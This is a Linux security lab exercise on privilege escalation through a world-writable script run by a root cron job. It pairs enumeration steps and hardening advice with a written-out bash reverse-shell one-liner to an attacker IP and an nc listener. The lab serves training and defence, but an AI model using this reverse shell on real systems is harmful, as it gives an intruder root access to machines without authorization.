Exercise 6: Exploiting Cron Jobs

Objective: Identify and exploit misconfigured cron jobs to gain escalated privileges on a Linux system, and understand best practices for securing cron job configurations.

Scenario: You are conducting a security assessment on a Linux system where cron jobs are used for automated tasks. Some of these tasks are misconfigured and run with elevated privileges, offering an opportunity for privilege escalation. Your task is to identify and exploit these vulnerabilities and implement strategies to secure the cron job configurations.

Lab Setup

1. Environment:
   • A Linux system with misconfigured cron jobs.
2. Tools Required:
   • Terminal access to the Linux system.
   • Basic understanding of cron job syntax and scheduling.

Lab Steps

Step 1: Review Cron Jobs

List the cron jobs for the current user:

crontab -l

If you do not have a personal crontab, the command will return “no crontab for [user].”

Review system-wide cron jobs:

cat /etc/crontab

Example /etc/crontab output:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
* * * * * root /tmp/backup.sh

Check user-specific cron directories:

ls -l /etc/cron.d/ 
ls -l /var/spool/cron/crontabs/

Step 2: Identify Vulnerable Cron Jobs

1. Look for scripts or binaries that are:
   • World-writable (-rw-rw-rw-).
   • Owned by root and executed with elevated privileges.
2. Analyze the scripts executed by cron jobs for vulnerabilities, such as:
   • Inclusion of writable files.
   • Execution of user-controlled inputs.

Step 3: Exploit a Vulnerable Cron Job

If a cron job runs a script located in a writable directory (e.g., /tmp/backup.sh), modify the script to include a reverse shell:

echo 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' > /tmp/backup.sh 
chmod +x /tmp/backup.sh 

Replace <your_ip> with your attack machine’s IP address.

Set up a listener on your machine:

nc -lvnp 4444

Wait for the cron job to execute and connect back to your listener, giving you a shell with elevated privileges.

Step 4: Verify Privilege Escalation

Once the reverse shell connects, verify your privileges:

whoami

If successful, you should have root access.

Solution

Explanation:

• Cron jobs are automated tasks that run based on a schedule. If misconfigured, they can be exploited to execute malicious scripts with elevated privileges.
• In this lab, the vulnerable cron job was exploited by modifying the script it executes to include a reverse shell.

Prevention:

Secure Cron Job Scripts:

Store scripts in directories with restricted access.

Ensure scripts are owned by the correct user and not world-writable:

chmod 700 /path/to/script.sh

Audit Cron Configurations:

Regularly review user-specific and system-wide cron jobs for misconfigurations.

Remove unused or unnecessary cron jobs.

Restrict User Access:

Limit who can create or modify cron jobs by editing /etc/cron.allow and /etc/cron.deny.

Monitor Cron Activity:

Log cron executions and monitor for suspicious activities using tools like auditd.

Testing and Verification

1. Test the cron jobs after applying fixes to ensure they work as intended without vulnerabilities.
2. Verify that scripts and directories have appropriate permissions and ownership.
3. Attempt to exploit the cron jobs again to confirm the fixes are effective.

Reflection

This exercise demonstrates the risks of misconfigured cron jobs and how they can be exploited for privilege escalation. By completing this lab, you have gained practical experience in identifying, exploiting, and securing cron job configurations to enhance system security.